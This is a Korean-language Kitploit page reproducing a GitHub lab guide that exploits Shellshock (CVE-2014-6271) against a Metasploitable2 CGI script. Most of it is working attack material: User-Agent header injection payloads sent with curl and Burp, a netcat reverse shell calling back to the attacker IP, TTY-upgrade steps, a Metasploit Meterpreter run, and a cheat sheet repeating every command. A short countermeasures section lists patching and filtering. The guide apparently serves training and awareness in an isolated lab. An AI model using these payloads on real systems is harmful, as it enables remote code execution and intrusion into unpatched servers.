Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-6271-Shellshock- — CVE-2014-6271 (Shellshock)에 대한 완전하고 현대적인 데모 랩으로, 아키텍처, 악용 단계, Burp Suite 사용, 리버스 셸, 대응 조치 및 전체 명령 치트 시트를 포함합니다. | Kitploit
도구/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed Teaming
Payload Development
Labs & Practice
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

CVE-2014-6271 (Shellshock)에 대한 완전하고 현대적인 데모 랩으로, 아키텍처, 악용 단계, Burp Suite 사용, 리버스 셸, 대응 조치 및 전체 명령 치트 시트를 포함합니다.

저장소 보기
59개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Shellshock (CVE-2014-6271) 악용: 완전하고 현대적인 데모 연구소

Shellshock(CVE-2014-6271)은 발견된 원격 코드 실행 취약점 중 가장 영향력 있는 것 중 하나입니다. 이 결함은 Bash에 영향을 미치며 공격자가 환경 변수에 조작된 페이로드를 주입하기만 하면 임의의 명령을 실행할 수 있게 합니다.

이 가이드는 다음을 사용한 완전하고 재현 가능한 데모를 제공합니다:

  • Kali Linux (공격자)
  • Metasploitable2 (대상)
  • curl, Burp Suite, Netcat
  • 수동으로 생성된 Bash 기반 CGI 스크립트

교육, 연구, 훈련 및 일반적인 사이버 보안 인식을 위해 설계되었습니다.


📌 목차

  1. 연구실 아키텍처
  2. 취약한 CGI 스크립트 생성
  3. Shellshock 취약점 이해
  4. curl을 이용한 Shellshock 악용
  5. Burp Suite를 이용한 Shellshock 악용
  6. Shellshock을 통한 리버스 셸
  7. 완전 대화형 TTY로 업그레이드
  8. 공격 체인 다이어그램
  9. 스크린샷 갤러리
  10. 대응 방안
  11. 치트 시트 (모든 명령어)
  12. Metasploit을 이용한 Shellshock 악용
  • 결론

  • 1. 연구실 아키텍처

    구성 요소역할OSIP 주소주요 서비스
    Kali Linux공격자Kali Linux (최신)192.168.1.4curl, Burp Suite, Netcat
    Metasploitable2대상 취약 서버Ubuntu Linux (MSF2)192.168.1.5Apache 2.2, CGI 스크립트, Bash
    Apache mod_cgi스크립트 실행MSF2에서 실행n/aCGI를 통해 Bash 노출
    shellshock.sh취약한 진입점Bash CGIn/a환경 변수 표시

    이 간단한 2노드 설정은 산업 및 IoT 시스템에 여전히 존재하는 많은 레거시 배포를 반영합니다.


    2. 취약한 CGI 스크립트 생성

    Metasploitable2에서:

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Kali에서 스크립트 테스트:

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    환경 변수가 표시되어야 합니다.


    3. Shellshock 취약점 이해

    Shellshock는 Bash가 함수 정의를 닮은 환경 변수를 잘못 구문 분석할 때 발생합니다.

    다음과 같은 악의적인 변수:

    root@kitploit:~
    () { :; }; /bin/bash -c "id"
    

    는 함수가 실제로 호출되지 않더라도 Bash가 함수 정의 이후의 명령을 실행하게 만듭니다.

    CGI 애플리케이션은 HTTP 헤더가 자동으로 환경 변수로 스크립트에 전달되기 때문에 특히 취약합니다.


    4. curl을 이용한 Shellshock 악용

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    출력에는 다음이 포함되어야 합니다:

    root@kitploit:~
    Vulnerable
    uid=33(www-data)
    

    이는 원격 코드 실행을 확인합니다.


    5. Burp Suite를 이용한 Shellshock 악용

    5.1 일반 요청 보내기

    다음 방문:

    root@kitploit:~
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    요청을 Repeater로 보냅니다.

    5.2 Shellshock 페이로드 주입

    User-Agent 헤더를 다음으로 교체:

    root@kitploit:~
    User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
    

    5.3 응답

    다음이 표시되어야 합니다:

    root@kitploit:~
    BurpTest
    uid=33(www-data)
    

    Burp Suite는 시각적이고 교육적인 방식으로 취약점을 확인합니다.


    6. Shellshock을 통한 리버스 셸

    Kali에서 리스너 시작:

    root@kitploit:~
    nc -lvnp 4444
    

    CGI 스크립트를 통해 리버스 셸 트리거:

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    셸이 Kali에 다시 연결됩니다.


    7. 완전 대화형 TTY로 업그레이드

    리버스 셸 내부에서:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    세션 일시 중단:

    root@kitploit:~
    Ctrl + Z
    

    Kali에서:

    root@kitploit:~
    stty raw -echo; fg
    

    Enter를 누릅니다.

    이제 다음이 있습니다:

    • 탭 완성
    • 화살표 키
    • 작업 제어
    • 완전 대화형 Bash

    8. 공격 체인 다이어그램

    root@kitploit:~
              ┌────────────────────────┐
              │     공격자 (Kali)      │
              │      192.168.1.4       │
              └───────────┬────────────┘
                          │
         1. 악의적인 HTTP 헤더 (Shellshock)
                          │
                          ▼
            ┌──────────────────────────┐
            │ Apache 웹 서버 (CGI)     │
            │     192.168.1.5          │
            └───────────┬──────────────┘
                        │
       2. 헤더 → CGI 환경 변수
                        │
                        ▼
          ┌──────────────────────────┐
          │     Bash (취약함)        │
          └───────────┬──────────────┘
                      │
          3. 주입된 명령 실행
                      │
                      ▼
            ┌─────────────────────────┐
            │  www-data 셸 접근       │
            └───────────┬─────────────┘
                        │
            4. 리버스 셸 → Kali
                        │
                        ▼
          ┌──────────────────────────┐
          │ 완전 대화형 TTY           │
          └──────────────────────────┘
    

    9. 스크린샷 갤러리

    공격의 주요 단계에 대한 시각적 워크스루입니다.

    설명이미지
    Nmap 스캔 + Shellshock 테스트 출력
    Burp Suite – 초기 Shellshock 요청
    Burp Suite – 페이로드/헤더 주입
    Kali에서 리버스 셸 수신 (nc)

    10. 대응 방안

    ✔ 1. Bash 업그레이드

    함수 구문 분석을 올바르게 처리하는 버전으로 패치합니다.

    ✔ 2. CGI 비활성화

    레거시 CGI는 불필요한 시스템적 위험을 도입합니다.

    ✔ 3. HTTP 헤더 정화

    다음과 같은 의심스러운 패턴을 제거합니다:

    root@kitploit:~
    () { :; };
    

    ✔ 4. 최소 권한 원칙 사용

    웹 서버 사용자(www-data) 권한을 제한합니다.

    ✔ 5. 아웃바운드 연결 제한

    리버스 셸 및 데이터 유출을 차단합니다.

    ✔ 6. 웹 애플리케이션 방화벽(WAF) 배포

    최신 WAF 시그니처는 Shellshock을 즉시 탐지합니다.

    ✔ 7. SELinux / AppArmor 활성화

    Bash 프로세스를 제한하고 의도하지 않은 동작을 차단합니다.

    ✔ 8. 정기적인 취약점 스캔 실행

    다음과 같은 도구 사용:

    • Nessus
    • OpenVAS
    • Nikto
    • Nmap NSE (http-shellshock.nse)

    11. 치트 시트 (모든 명령어)

    대상 설정

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    CGI 테스트

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Shellshock 테스트

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    리버스 셸

    root@kitploit:~
    nc -lvnp 4444
    
    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    완전 TTY로 업그레이드

    셸 내부:

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    일시 중단:

    root@kitploit:~
    Ctrl + Z
    

    Kali에서:

    root@kitploit:~
    stty raw -echo; fg
    

    Enter를 누릅니다.


    12. Metasploit을 이용한 Shellshock 악용 (msfconsole)

    Metasploit은 내장 모듈을 사용하여 Shellshock을 악용하는 전문적이고 자동화된 방법을 제공합니다:

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    이 방법은 빠르고 안정적이며 자동 페이로드 스테이징(예: Meterpreter)을 제공합니다.


    12.1 Metasploit 시작

    root@kitploit:~
    msfconsole
    

    12.2 Shellshock 모듈 검색

    root@kitploit:~
    search shellshock
    

    다음이 표시되어야 합니다 (다른 것들 중에서):

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash 환경 변수 코드 인젝션 (Shellshock)
    auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash 환경 변수 인젝션 (스캐너)
    

    12.3 익스플로잇 모듈 로드

    root@kitploit:~
    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    12.4 필요한 옵션 구성

    대상 IP 설정:

    root@kitploit:~
    set rhosts 192.168.1.5
    

    취약한 CGI 경로 설정:

    root@kitploit:~
    set targeturi /cgi-bin/shellshock.sh
    

    Kali IP 설정:

    root@kitploit:~
    set lhost 192.168.1.4
    

    선택적으로 수신 포트 설정:

    root@kitploit:~
    set lport 4444
    

    확인:

    root@kitploit:~
    options
    

    다음이 표시되어야 합니다:

    root@kitploit:~
    RHOSTS     192.168.1.5
    TARGETURI  /cgi-bin/shellshock.sh
    LHOST      192.168.1.4
    LPORT      4444
    METHOD     GET
    HEADER     User-Agent
    CVE        CVE-2014-6271
    

    12.5 익스플로잇 실행

    root@kitploit:~
    run
    

    성공 시:

    root@kitploit:~
    [*] Started reverse TCP handler on 192.168.1.4:4444
    [*] Command Stager progress - 100.00%
    [*] Sending stage ...
    [*] Meterpreter session 1 opened ...
    

    12.6 Meterpreter 세션과 상호 작용

    root@kitploit:~
    sessions -i 1
    

    이제 다음이 있습니다:

    root@kitploit:~
    meterpreter >
    

    12.7 일반 셸 생성

    root@kitploit:~
    shell
    

    그런 다음:

    root@kitploit:~
    id
    hostname
    

    예상 출력:

    root@kitploit:~
    uid=33(www-data) gid=33(www-data)
    metasploitable
    

    Metasploit과 Shellshock을 사용하여 원격 명령 실행을 획득했습니다.


    13. 결론

    이 데모는 간단한 HTTP 헤더 조작, 리버스 셸, CGI 스크립트 실행 및 Metasploit 자동화를 통해 Shellshock이 어떻게 악용될 수 있는지 보여줍니다. 10년 이상이 지났음에도 Shellshock은 다음과 같은 중요한 교훈을 제공합니다:

    • 안전한 소프트웨어 관행
    • 입력 정화
    • 레거시 시스템 위험
    • 사후 침투 기술

    많은 사랑을 담아 제작:
    오만의 Haitham ❤️🇴🇲

    도구 다운로드